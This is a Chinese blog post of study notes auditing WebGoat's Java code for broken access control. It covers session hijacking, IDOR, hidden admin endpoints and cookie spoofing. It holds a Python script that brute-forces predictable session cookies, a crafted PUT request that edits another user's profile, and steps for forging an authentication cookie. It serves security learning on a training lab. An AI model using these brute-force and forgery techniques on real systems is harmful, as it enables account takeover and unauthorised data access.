当前位置:首页>java>Java代码审计-WebGoat-访问控制失效

Java代码审计-WebGoat-访问控制失效

  • 2026-01-23 06:03:05
Java代码审计-WebGoat-访问控制失效

因为工作需要,需要审公司业务系统的代码内容,我其实是非常抗拒的,奈何没办法,所以有了这篇笔记。

所以,这篇文章的主题是:让一个没写过一段 java 代码的人来审 java 项目

版本 2025.3

https://github.com/WebGoat/WebGoat.gitdocker run -itd -p 8080:8080 -p 9090:9090 -e TZ=Asia/Shanghai webgoat/webgoat

个人追求

不必深究 java 的高级特性。我又不写代码,只需要大概了解代码逻辑就行,简单说,做代码审计时,只需要识别出

方法名:这是逻辑的入口

变量名:这是我们要分析的数据

调用逻辑:这是数据流向的下一个流程

WebGoat 采用的是Spring Boot 框架(我们公司的也是,所以选它)

在Spring MVC / Spring Boot 中,一条 url 是这样处理的

访问控制失效

会话劫持 Hijack a Session

黑盒层面的入口

什么是入口?这个 url 就是入口

/WebGoat/HijackSession/login

当拿到一套源码时,如何快速的找到入口路径?

在 Spring Boot 框架中 URL 映射使用以下注解

注解
说明
@RequestMapping
通用路由
@GetMapping
GET 请求
@PostMapping
POST 请求
@PutMapping
PUT 请求
@DeleteMapping
DELETE 请求

这些都是入口路由

@(Request|Get|Post|Put|Delete)Mapping

其实一般的项目,开发都会约定好规范命名,比如 service 会放在一个文件夹里,多个功能模块会分开,controller 可能会放在一个文件里等等

其它搜索技巧

方法 1 全局关键字搜索

通过 IDEA 搜索,Ccommand + Shift + F,直接搜索 url

方法 2 文件名搜索

知道大概的文件名时使用

比如搜索 "Hijack" 可能关联 HijackSessionAssignment.java,搜索 "Controller" 找到所有控制器文件

方法 3 正则表达式搜索

比如这样,根据具体的环境和内容进行调整

Controller

url 路径是业务的展现,而在项目代码中,路径指的是 Controller,它是处理 url 路由的,Controller 决定这个 url 在哪个核心 service 处理,有时候 service 的逻辑有很多漏洞,但是没有Controller ,也就没有利用的入口,可能是开发写了,但是没用到,后面也没删了,很多原因造成的。

类级别的注解:@RequestMapping 用于指定类级别路径前缀@CrossOrigin 用于跨域配置@Validated 用于数据校验

反正看这种,就是路由入口代码,有ResponseBody、RestController 、PostMapping、GetMapping之类的,还有那种带 url 的,看上去就像的,那大概率就是,如果想要完全了解,还是得系统的学 java web 开发,特别是 spring 的开发

这种就是 Controller 和 Service 混写在一起了,如果是开发水平特别高或者特别规范,就是另一种写法,比如现在规范的 RESTful 写法。

往下看这段代码

login 方法接口

定义了接口路径,使用 post 接收 username、password、CookieValue 三个参数

@PostMapping(path = "/HijackSession/login")@ResponseBodypublic AttackResult login(    @RequestParam String username,    @RequestParam String password,    @CookieValue(value = COOKIE_NAME, required = false) String cookieValue,    HttpServletResponse response)

认证

这里一个 ifelse 判断,如果 cookie isEmpty 就使用用户名和密码进行认证,并设置一个新的cookie,并response 返回给浏览器

else 如果提供了 cookie 就进行鉴权处理

Authentication authentication;if (StringUtils.isEmpty(cookieValue)) {    authentication =    provider.authenticate(        Authentication.builder().name(username).credentials(password).build());    setCookie(response, authentication.getId());} else {    authentication = provider.authenticate(Authentication.builder().id(cookieValue).build());}

在往下

认证结果调用与结果返回

if (authentication.isAuthenticated()) {    return success(this).build();}return failed(this).build();

最下面是setCookie 方法的实现

首先setCookie 是 cookie 为空的时候才生成,这个 cookie 有两部分,一部分是COOKIE_NAME、一部分是cookieValue,它的生效路径是/WebGoat,设置了一个setSecure,表示只在 https 状态下使用

另外,根据 AI 提示,这里返回 cookie 没有调用 cookie.setHttpOnly(true),如果有 xss,这个 cookie 可能被劫持,但站在另一个角度,一般的开发都不会特意注意这个细节,所以 HttpOnly 在实际业务场景中一般是在中间件 nginx 做

private void setCookie(HttpServletResponse response, String cookieValue) {    Cookie cookie = new Cookie(COOKIE_NAME, cookieValue);    cookie.setPath("/WebGoat");    cookie.setSecure(true);    response.addCookie(cookie);}

COOKIE_NAME、cookieValue

这是 Spring框架的特性,一般的项目COOKIE_NAME都是硬编码的,我也不知道为什么,AI 是这样说的

COOKIE_NAME 写死了为 hijack_cookie 字符串,这代表Spring 会去自动匹配hijack_cookie 的 value

而 cookieValue 是通过@CookieValue注解自动注入的,他们说这个叫依赖注入

找注入 value 的地方

往下看发现这里定义了一个构造函数注入 provider,在判断是否有 cookie 的时候注入,provider 是什么我也不知道,我也不写代码也不需要知道

下面就是找provider

但是provider 也没东西可以看

Service

业务层特征

而provider 来自HijackSessionAuthenticationProvider 这个文件,接着往下

HijackSessionAuthenticationProvider 里定义了一个类,也叫做HijackSessionAuthenticationProvider,这里大概看一下,应该就是 service

上面的一大段逻辑处理看不懂,往下看方法

第一个方法authenticate

大概意思就是authentication==null,返回一个AUTHENTICATION_SUPPLIER.get()

不懂这些 Java 用法,但是看名字,大概是如果authentication 为空,返回一个新生成的 session

而 GENERATE_SESSION_ID,自增 id,获取当前时间戳

接着往下,就是下一个 if

如果authentication 不是空的,就获取它,然后在sessions 列表里去匹配,匹配到就返回它自己

 if (StringUtils.isNotEmpty(authentication.getId())        && sessions.contains(authentication.getId())) {      authentication.setAuthenticated(true);      return authentication;    }

如果获取到的authentication 不为空,但是 id 为空,就分配一个新的会话 id

   if (StringUtils.isEmpty(authentication.getId())) {      authentication.setId(GENERATE_SESSION_ID.get());    }

很合理的逻辑

最后,不管怎么样,最后执行authorizedUserAutoLogin()方法

这个方法有点复杂了,大概意思是

  1. 1. 如果传入的 authentication 为 null,返回一个新的未认证的会话
  2. 2. 如果传入的 authentication 包含一个已在 sessions 队列中的 id,则将其标记为已认证
  3. 3. 如果传入的 authentication 的 id 为空,为其生成一个新ID(但不添加到 sessions 队列)
  4. 4. 无论以上哪种情况,都有 25% 的概率额外创建一个有效的认证会话

现在考虑怎么利用,这里的漏洞点事会话劫持,经过刚刚分析,传入的authentication 的 id 为空,生成一个新的且有 25%的概率获取到有效认证

利用

没有 cookie,后端返回一个新的 cookie

在发一次,2 变成了 3,和我们前面分析的 id 自增代码对应

而-后面的是时间戳,也能对应上

最开始想用了 burp 宏来测,但是老是抓不到 cookie,只匹到hijack_cookie,不知道为啥

把代码逻辑告诉 ai,让 ai 写个脚本

import requestsimport reimport timeHOST = "192.168.97.130:8080"URL = f"http://{HOST}/WebGoat/HijackSession/login"JSID = "04162C3E5A6449E0B35B06C487BE1BDC"PROXIES = {"http": "http://127.0.0.1:8080"}PARAMS = {'username': 'test', 'password': 'test'}def main():    s = requests.Session()    s.proxies = PROXIES    print("[*] 攻击开始...")    while True:        try:            # 1. 发送触发包            r = s.post(URL, params=PARAMS, cookies={"JSESSIONID": JSID}, timeout=5)            match = re.search(r'hijack_cookie=([0-9]+)-([0-9]+)', r.headers.get("Set-Cookie", ""))            if not match: continue            curr_id, curr_ts = int(match.group(1)), int(match.group(2))            # 2. 预测碰撞 (ID+1 到 ID+20)            for next_id in range(curr_id + 1, curr_id + 20):                for offset in range(-10, 150, 5):                    target_val = f"{next_id}-{curr_ts + offset}"                    res = s.post(URL, params=PARAMS,                                 cookies={"JSESSIONID": JSID, "hijack_cookie": target_val},                                 timeout=5)                    # 3. 严格判定:解析 JSON 并读取字段                    try:                        data = res.json()                        # 只有当 lessonCompleted 明确为 True 时才停止                        if data.get("lessonCompleted") is True:                            print(f"\n[!!!] 有效 Cookie: hijack_cookie={target_val}")                            return                    except:                        # 如果不是 JSON 格式则跳过                        pass                time.sleep(0.01) # 减缓压力            print(f"[*] 轮次完成,基准 ID: {curr_id}", end='\r')        except Exception:            time.sleep(1)            continueif __name__ == "__main__":    main()

不安全的对象引用 Insecure Direct Object References

先认证,后滥用授权

WebGoat/IDOR/login

大概意思是获取 username、password

如果 username 是 tom,获取 tom 的用户密码在initIDORInfo()方法里,然后匹配,能对应上就写入 session

  @PostMapping("/IDOR/login")  @ResponseBody  public AttackResult completed(@RequestParam String username, @RequestParam String password) {    initIDORInfo();    if (idorUserInfo.containsKey(username)) {      if ("tom".equals(username) && idorUserInfo.get("tom").get("password").equals(password)) {        lessonSession.setValue("idor-authenticated-as", username);        lessonSession.setValue("idor-authenticated-user-id", idorUserInfo.get(username).get("id"));        return success(this).feedback("idor.login.success").feedbackArgs(username).build();      } else {        return failed(this).feedback("idor.login.failure").build();      }    } else {      return failed(this).feedback("idor.login.failure").build();    }  }}

上面有一个初始化的操作,大概意思是初始化账户信息

  public void initIDORInfo() {    idorUserInfo.put("tom", new HashMap<String, String>());    idorUserInfo.get("tom").put("password", "cat");    idorUserInfo.get("tom").put("id", "2342384");    idorUserInfo.get("tom").put("color", "yellow");    idorUserInfo.get("tom").put("size", "small");    idorUserInfo.put("bill", new HashMap<String, String>());    idorUserInfo.get("bill").put("password", "buffalo");    idorUserInfo.get("bill").put("id", "2342388");    idorUserInfo.get("bill").put("color", "brown");    idorUserInfo.get("bill").put("size", "large");  }

登录之后这关就过了

下一关

观察差异行为

点击后会有一个这个包,获取用户信息

提交前端未显示的两个 kv 就是这个包

后端源码应该是这个

比较简单

获取 post 包,按逗号分割

然后校验 userid 和 role,用了 或,所以 userid 和 role 的顺序前后都可以,然后就完了

下一关

猜测预测模式

不理解是啥意思

WebGoat/IDOR/profile/alt-path

后端在这里

入口下有一个completed 方法,接收 url

第一个 if

获取 session,然后跟 tom 做匹配,根据注释内容,应该是检查 tom 的身份,最后把 url 路径按照 / 进行分割,结果给一个列表?

if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {        // going to use session auth to view this one        String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");        // don't care about http://localhost:8080 ... just want WebGoat/        String[] urlParts = url.split("/");

第二个 if

检查这个 url 路径的第 0 位,是不是 WebGoat,第 1 位 IDOR 等等,else 分支不知道是啥

然后userProfile new 一个对象,获取用户 id,给到UserProfile,else 分支也不知道是啥

最后返回自己

        if (urlParts[0].equals("WebGoat")            && urlParts[1].equals("IDOR")            && urlParts[2].equals("profile")            && urlParts[3].equals(authUserId)) {          UserProfile userProfile = new UserProfile(authUserId);          return success(this)              .feedback("idor.view.own.profile.success")              .output(userProfile.profileToMap().toString())              .build();        } else {          return failed(this).feedback("idor.view.own.profile.failure1").build();        }      } else {        return failed(this).feedback("idor.view.own.profile.failure2").build();      }    } catch (Exception ex) {      return failed(this).output("an error occurred with your request").build();    }

根据源码内容,返回 burp,找到profile 哪个包

已经登录 tom,提交内容通过第二个 if 内容即可,WebGoat/IDOR/profile/2342384

下一关

越权查看他人信息与编辑他人信息

点击第一个 view profile

/WebGoat/IDOR/profile/%7BuserId%7D

后端

获取用户 id,使用 id 获取用户信息

如果提交的 id 不为空,and 判断提交的 id 和authUserId 不一样

修改角色和颜色,是的,如果 id 和提交的 id 不一样,就修改颜色和角色

如果角色小于等于 1,and 获取到的颜色是 red,返回它

if (userSubmittedProfile.getUserId() != null        && !userSubmittedProfile.getUserId().equals(authUserId)) {      // let's get this started ...      currentUserProfile.setColor(userSubmittedProfile.getColor());      currentUserProfile.setRole(userSubmittedProfile.getRole());      // we will persist in the session object for now in case we want to refer back or use it later      userSessionData.setValue("idor-updated-other-profile", currentUserProfile);      if (currentUserProfile.getRole() <= 1          && currentUserProfile.getColor().equalsIgnoreCase("red")) {        return success(this)            .feedback("idor.edit.profile.success1")            .output(currentUserProfile.profileToMap().toString())            .build();      }

后面是角色大于 1,颜色为红色,平行越权

角色小于等于 1,颜色不为红色,垂直越权

if (currentUserProfile.getRole() > 1          && currentUserProfile.getColor().equalsIgnoreCase("red")) {        return failed(this)            .feedback("idor.edit.profile.failure1")            .output(currentUserProfile.profileToMap().toString())            .build();      }      if (currentUserProfile.getRole() <= 1          && !currentUserProfile.getColor().equalsIgnoreCase("red")) {        return failed(this)            .feedback("idor.edit.profile.failure2")            .output(currentUserProfile.profileToMap().toString())            .build();      }

如果都不满足,返回失败

      return failed(this)          .feedback("idor.edit.profile.failure3")          .output(currentUserProfile.profileToMap().toString())          .build();

分支

如果提交的 id 不等于空,and 提交的 id 和 authUserId 一致,返回失败,即登录的自己的账户,没有造成越权

最后一段,颜色如果是黑色,且角色小于等于 1,返回success2

else if (userSubmittedProfile.getUserId() != null        && userSubmittedProfile.getUserId().equals(authUserId)) {      return failed(this).feedback("idor.edit.profile.failure4").build();    }    if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1) {      return success(this)          .feedback("idor.edit.profile.success2")          .output(userSessionData.getValue("idor-updated-own-profile").toString())          .build();    } else {      return failed(this).feedback("idor.edit.profile.failure3").build();    }  }}

爆破

但是我之前已经知道另一个账户的 id,所以直接测

越权查看他人信息

编辑他人信息

将包修改为 put,类型为application/json

PUT /WebGoat/IDOR/profile/2342388 HTTP/1.1Host: 192.168.97.130:8080X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0Accept: */*Content-Type: application/json; charset=UTF-8Referer: http://192.168.97.130:8080/WebGoat/start.mvc?username=adminerAccept-Encoding: gzip, deflate, brAccept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7Cookie: JSESSIONID=FF44B3B7F671FD94155144919CCF3FACConnection: keep-aliveContent-Length: 55{    "userId": 2342388,    "role": 0,    "color": "red"}

black 绕不过,不知道怎么绕

缺少功能级别访问控制

寻找隐藏物品

这里其实是一个前端隐藏渲染页面的漏洞

可以利用这个插件显示被 css 隐藏渲染的功能

https://github.com/Bbdolt/SeeMore

或者删掉这个hidden-menu-item,这样就能显示了

两个按钮的 url

/WebGoat/access-control/users-admin-fix

/WebGoat/access-control/config

访问 415 和 404

后端没有这两个路由的 url,但是有access-control 相关的,进去看看

简单的判断,判断提交 users 和 config 就行了

public class MissingFunctionACHiddenMenus implements AssignmentEndpoint {  @PostMapping(      path = "/access-control/hidden-menu",      produces = {"application/json"})  @ResponseBody  public AttackResult completed(String hiddenMenu1, String hiddenMenu2) {    if (hiddenMenu1.equals("Users") && hiddenMenu2.equals("Config")) {      return success(this).output("").feedback("access-control.hidden-menus.success").build();    }    if (hiddenMenu1.equals("Config") && hiddenMenu2.equals("Users")) {      return failed(this).output("").feedback("access-control.hidden-menus.close").build();    }    return failed(this).feedback("access-control.hidden-menus.failure").output("").build();  }}

懂了,是让我把 users 和 config 填进去

下一关

收集用户信息

点击 hash

后端代码

接收用户 hash,在用户数据库中去查找Jerry,使用Jerry 的盐来进行计算

验证两个 hash 是否一致

 @PostMapping(      path = "/access-control/user-hash",      produces = {"application/json"})  @ResponseBody  public AttackResult simple(String userHash) {    User user = userRepository.findByUsername("Jerry");    DisplayUser displayUser = new DisplayUser(user, PASSWORD_SALT_SIMPLE);    if (userHash.equals(displayUser.getUserHash())) {      return success(this).feedback("access-control.hash.success").build();    } else {      return failed(this).build();    }  }}

跟进userRepository,看不懂,跳过,大概意思就是匹配到一样的 hash 就行

public class MissingFunctionACYourHash implements AssignmentEndpoint {  private final MissingAccessControlUserRepository userRepository;  public MissingFunctionACYourHash(MissingAccessControlUserRepository userRepository) {    this.userRepository = userRepository;  }

回到刚刚 admin 选项上的两个按钮上

admin404

users-admin-fix 是 415

找到对应后端代码

需要 json 格式,直接返回用户列表,根据当前登录名从数据库查询用户信息

如果用户不是空的且是 admin,Response

但是我还是没有管理员权限

  @GetMapping(      path = {"access-control/users-admin-fix"},      consumes = "application/json")  @ResponseBody  public ResponseEntity<List<DisplayUser>> usersFixed(@CurrentUsername String username) {    var currentUser = userRepository.findByUsername(username);    if (currentUser != null && currentUser.isAdmin()) {      return ResponseEntity.ok(          userRepository.findAllUsers().stream()              .map(user -> new DisplayUser(user, PASSWORD_SALT_ADMIN))              .collect(Collectors.toList()));    }    return ResponseEntity.status(HttpStatus.FORBIDDEN).build();  }

往上看,MissingFunctionACUsers.java 文件里还有另一个接口,直接返回 user 列表

得到用户列表

后端

就是一个 hash 计算

最后一个问题

这个接口就是/WebGoat/access-control/user-hash-fix,刚刚已经看了,是要匹配是否为 admin 的,没啥问题

欺骗身份验证 Cookie

/WebGoat/SpoofCookie/login

后端入口

获取用户名、密码、cookie

如果 cookie 为空,返回credentialsLoginFlow函数处理

如果有 cookie,返回cookieLoginFlow 函数处理

  @PostMapping(path = "/SpoofCookie/login")  @ResponseBody  @ExceptionHandler(UnsatisfiedServletRequestParameterException.class)  public AttackResult login(      @RequestParam String username,      @RequestParam String password,      @CookieValue(value = COOKIE_NAME, required = false) String cookieValue,      HttpServletResponse response) {    if (StringUtils.isEmpty(cookieValue)) {      return credentialsLoginFlow(username, password, response);    } else {      return cookieLoginFlow(cookieValue);    }  }

credentialsLoginFlow

  private AttackResult credentialsLoginFlow(      String username, String password, HttpServletResponse response) {    String lowerCasedUsername = username.toLowerCase();    if (ATTACK_USERNAME.equals(lowerCasedUsername)        && users.get(lowerCasedUsername).equals(password)) {      return informationMessage(this).feedback("spoofcookie.cheating").build();    }    String authPassword = users.getOrDefault(lowerCasedUsername, "");    if (!authPassword.isBlank() && authPassword.equals(password)) {      String newCookieValue = EncDec.encode(lowerCasedUsername);      Cookie newCookie = new Cookie(COOKIE_NAME, newCookieValue);      newCookie.setPath("/WebGoat");      newCookie.setSecure(true);      response.addCookie(newCookie);      return informationMessage(this)          .feedback("spoofcookie.login")          .output(String.format(COOKIE_INFO, lowerCasedUsername, newCookie.getValue()))          .build();    }    return informationMessage(this).feedback("spoofcookie.wrong-login").build();  }

进来后先进行小写转换,然后进入一个 if 判断

做一个匹配,如果用户名是 tom,和 tom 的密码

返回信息,信息内容暂时不知道

下一个 if

首先做了一个获取用户列表的操作,用户列表在上面有定义

取出列表里的用户进行判断,不为空,密码正确的,进行加密

创建要给 cookie 对象,设置 cookie 的作用域,返回给浏览器

cookieLoginFlow 方法

这个方法是有 cookie 时处理的

也就是这一段内容

大概意思就是,取 cookie,解密

如果解出来的 cookie 跟 tom 一致,判断成功

如果解出来的 cookie 不是 tom 的,返回什么什么

 private AttackResult cookieLoginFlow(String cookieValue) {    String cookieUsername;    try {      cookieUsername = EncDec.decode(cookieValue).toLowerCase();    } catch (Exception e) {      // for providing some instructive guidance, we won't return 4xx error here      return failed(this).output(e.getMessage()).build();    }    if (users.containsKey(cookieUsername)) {      if (cookieUsername.equals(ATTACK_USERNAME)) {        return success(this).build();      }      return failed(this)          .feedback("spoofcookie.cookie-login")          .output(String.format(COOKIE_INFO, cookieUsername, cookieValue))          .build();    }    return failed(this).feedback("spoofcookie.wrong-cookie").build();  }

大概看懂了,不能用 tom 的账户密码登录获取 cookie,但是要使用 tom 的 cookie 进行登录

在看一眼这个加解密,它是导入的

它是一个类

它里面有 7 个方法

先看加密

取到值后,转小写+SALT,SALT 不知道是个啥

然后反转,hex,最后给到base64Encode 方法,这个名字一看就是转为 base64

  public static String encode(final String value) {    if (value == null) {      return null;    }    String encoded = value.toLowerCase() + SALT;    encoded = revert(encoded);    encoded = hexEncode(encoded);    return base64Encode(encoded);  }

往上看,SALT 原来是生成 10 位的随机字符串

解密方法

也就是加密反过来就行了

hex 转字符串,反转,最后截取了后面部分

  public static String decode(final String encodedValue) throws IllegalArgumentException {    if (encodedValue == null) {      return null;    }    String decoded = base64Decode(encodedValue);    decoded = hexDecode(decoded);    decoded = revert(decoded);    return decoded.substring(0, decoded.length() - SALT.length());  }

其它就不看了,其它的都是些 base64 加解码、hex 加解码操作

利用

webgoat 的 cookie 解出来是这玩意 ZtvpnKKYIytaogbew,最后反转一下就是 webgoatyIYKKnpvtZ,也就是用户名+10 个随机字符串

admin 的 cookie

adminyIYKKnpvtZ

发现后面 10 位是一样的

tomyIYKKnpvtZ

反转 tom

hex

base64

成功伪造

为什么随机生成的 cookie 会固定,后面了解了下

这段随机字符串生成,使用的是static 静态常量,可以理解为它只在整个 web 程序启动的时候执行一次生成 10 个字符串,后面就不会执行了,所以每次web启动的时候会有10个字符串,重启后才会更新这个字符串

  private static final String SALT = RandomStringUtils.randomAlphabetic(10);
好了,我感觉我现在强的可怕,可以审审公司的项目代码了

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-02-08 17:58:28 HTTP/2.0 GET : https://f.mffb.com.cn/a/466282.html
  2. 运行时间 : 0.097766s [ 吞吐率:10.23req/s ] 内存消耗:4,521.66kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=7f8ddafb6dbdf69d6718871e9d5583c7
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
